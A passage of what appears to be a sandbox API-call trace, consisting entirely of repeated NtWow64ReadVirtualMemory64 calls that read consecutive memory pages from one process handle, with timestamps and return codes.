Buffer=0x7fff, BufferSize=0x24f4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.683] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a5000, Buffer=0x7fff, BufferSize=0x24f5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.683] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a6000, Buffer=0x7fff, BufferSize=0x24f6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.684] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a7000, Buffer=0x7fff, BufferSize=0x24f7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.684] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a8000, Buffer=0x7fff, BufferSize=0x24f8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.684] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a9000, Buffer=0x7fff, BufferSize=0x24f9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.684] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07aa000, Buffer=0x7fff, BufferSize=0x24fa000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.684] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ab000, Buffer=0x7fff, BufferSize=0x24fb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.685] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ac000, Buffer=0x7fff, BufferSize=0x24fc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.685] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ad000, Buffer=0x7fff, BufferSize=0x24fd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.685] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ae000, Buffer=0x7fff, BufferSize=0x24fe000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.685] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07af000, Buffer=0x7fff, BufferSize=0x24ff000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.685] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b0000, Buffer=0x7fff, BufferSize=0x2500000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.686] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b1000, Buffer=0x7fff, BufferSize=0x2501000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.686] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b2000, Buffer=0x7fff, BufferSize=0x2502000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.686] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b3000, Buffer=0x7fff, BufferSize=0x2503000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.686] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b4000, Buffer=0x7fff, BufferSize=0x2504000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.686] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b5000, Buffer=0x7fff, BufferSize=0x2505000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.687] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b6000, Buffer=0x7fff, BufferSize=0x2506000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.687] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b7000, Buffer=0x7fff, BufferSize=0x2507000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.687] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b8000, Buffer=0x7fff, BufferSize=0x2508000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.687] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b9000, Buffer=0x7fff, BufferSize=0x2509000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.687] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ba000, Buffer=0x7fff, BufferSize=0x250a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.688] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bb000, Buffer=0x7fff, BufferSize=0x250b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.688] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bc000, Buffer=0x7fff, BufferSize=0x250c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.688] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bd000, Buffer=0x7fff, BufferSize=0x250d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.688] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07be000, Buffer=0x7fff, BufferSize=0x250e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.689] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bf000, Buffer=0x7fff, BufferSize=0x250f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.689] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c0000, Buffer=0x7fff, BufferSize=0x2510000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.689] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c1000, Buffer=0x7fff, BufferSize=0x2511000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.689] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c2000, Buffer=0x7fff, BufferSize=0x2512000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.689] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c3000, Buffer=0x7fff, BufferSize=0x2513000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.690] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c4000, Buffer=0x7fff, BufferSize=0x2514000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.690] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c5000, Buffer=0x7fff, BufferSize=0x2515000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.690] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c6000, Buffer=0x7fff, BufferSize=0x2516000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.690] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c7000, Buffer=0x7fff, BufferSize=0x2517000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.691] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c8000, Buffer=0x7fff, BufferSize=0x2518000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.691] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c9000, Buffer=0x7fff, BufferSize=0x2519000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.691] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ca000, Buffer=0x7fff, BufferSize=0x251a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.691] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cb000, Buffer=0x7fff, BufferSize=0x251b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.692] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cc000, Buffer=0x7fff, BufferSize=0x251c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.692] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cd000, Buffer=0x7fff, BufferSize=0x251d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.692] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ce000, Buffer=0x7fff, BufferSize=0x251e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.692] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cf000, Buffer=0x7fff, BufferSize=0x251f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.692] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d0000, Buffer=0x7fff, BufferSize=0x2520000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.693] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d1000, Buffer=0x7fff, BufferSize=0x2521000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.693] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d2000, Buffer=0x7fff, BufferSize=0x2522000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.693] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d3000, Buffer=0x7fff, BufferSize=0x2523000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.693] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d4000, Buffer=0x7fff, BufferSize=0x2524000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.693] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d5000, Buffer=0x7fff, BufferSize=0x2525000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.694] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d6000, Buffer=0x7fff, BufferSize=0x2526000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.694] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d7000, Buffer=0x7fff, BufferSize=0x2527000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.694] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d8000, Buffer=0x7fff, BufferSize=0x2528000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.694] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d9000, Buffer=0x7fff, BufferSize=0x2529000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.695] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07da000, Buffer=0x7fff, BufferSize=0x252a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.696] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07db000, Buffer=0x7fff, BufferSize=0x252b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.696] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07dc000, Buffer=0x7fff, BufferSize=0x252c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.696] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07dd000, Buffer=0x7fff, BufferSize=0x252d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.696] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07de000, Buffer=0x7fff, BufferSize=0x252e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.697] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07df000, Buffer=0x7fff, BufferSize=0x252f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.697] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e0000, Buffer=0x7fff, BufferSize=0x2530000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.697] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e1000, Buffer=0x7fff, BufferSize=0x2531000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.697] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e2000, Buffer=0x7fff, BufferSize=0x2532000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.698] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e3000, Buffer=0x7fff, BufferSize=0x2533000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.698] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e4000, Buffer=0x7fff, BufferSize=0x2534000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.698] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e5000, Buffer=0x7fff, BufferSize=0x2535000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.698] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e6000, Buffer=0x7fff, BufferSize=0x2536000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.699] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e7000, Buffer=0x7fff, BufferSize=0x2537000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.699] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e8000, Buffer=0x7fff, BufferSize=0x2538000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.699] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e9000, Buffer=0x7fff, BufferSize=0x2539000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.699] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ea000, Buffer=0x7fff, BufferSize=0x253a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.700] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07eb000, Buffer=0x7fff, BufferSize=0x253b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.700] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ec000, Buffer=0x7fff, BufferSize=0x253c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.700] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ed000, Buffer=0x7fff, BufferSize=0x253d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.700] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ee000, Buffer=0x7fff, BufferSize=0x253e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.700] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ef000, Buffer=0x7fff, BufferSize=0x253f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.701] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f0000, Buffer=0x7fff, BufferSize=0x2540000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.701] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f1000, Buffer=0x7fff, BufferSize=0x2541000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.701] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f2000, Buffer=0x7fff, BufferSize=0x2542000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.701] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f3000, Buffer=0x7fff, BufferSize=0x2543000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.701] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f4000, Buffer=0x7fff, BufferSize=0x2544000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.702] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f5000, Buffer=0x7fff, BufferSize=0x2545000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.702] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f6000, Buffer=0x7fff, BufferSize=0x2546000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.702] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f7000, Buffer=0x7fff, BufferSize=0x2547000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.702] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f8000, Buffer=0x7fff, BufferSize=0x2548000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.702] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f9000, Buffer=0x7fff, BufferSize=0x2549000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.703] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fa000, Buffer=0x7fff, BufferSize=0x254a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.703] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fb000, Buffer=0x7fff, BufferSize=0x254b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.703] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fc000, Buffer=0x7fff, BufferSize=0x254c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.703] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fd000, Buffer=0x7fff, BufferSize=0x254d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.704] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fe000, Buffer=0x7fff, BufferSize=0x254e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.704] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ff000, Buffer=0x7fff, BufferSize=0x254f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.704] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0800000, Buffer=0x7fff, BufferSize=0x2550000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.704] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0801000, Buffer=0x7fff, BufferSize=0x2551000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.705] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0802000, Buffer=0x7fff, BufferSize=0x2552000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.705] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0803000, Buffer=0x7fff, BufferSize=0x2553000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.705] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0804000, Buffer=0x7fff, BufferSize=0x2554000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.705] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0805000, Buffer=0x7fff, BufferSize=0x2555000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.706] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0806000, Buffer=0x7fff, BufferSize=0x2556000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.706] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0807000, Buffer=0x7fff, BufferSize=0x2557000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.706] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0808000, Buffer=0x7fff, BufferSize=0x2558000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.706] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0809000, Buffer=0x7fff, BufferSize=0x2559000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.706] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080a000, Buffer=0x7fff, BufferSize=0x255a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.707] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080b000, Buffer=0x7fff, BufferSize=0x255b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.707] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080c000, Buffer=0x7fff, BufferSize=0x255c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.707] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080d000, Buffer=0x7fff, BufferSize=0x255d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.707] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080e000, Buffer=0x7fff, BufferSize=0x255e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.708] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080f000, Buffer=0x7fff, BufferSize=0x255f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.708] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0810000, Buffer=0x7fff, BufferSize=0x2560000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.708] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0811000, Buffer=0x7fff, BufferSize=0x2561000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.708] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0812000, Buffer=0x7fff, BufferSize=0x2562000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.708] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0813000, Buffer=0x7fff, BufferSize=0x2563000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.709] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0814000, Buffer=0x7fff, BufferSize=0x2564000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.709] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0815000, Buffer=0x7fff, BufferSize=0x2565000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.709] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0816000, Buffer=0x7fff, BufferSize=0x2566000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.709] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0817000, Buffer=0x7fff, BufferSize=0x2567000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, 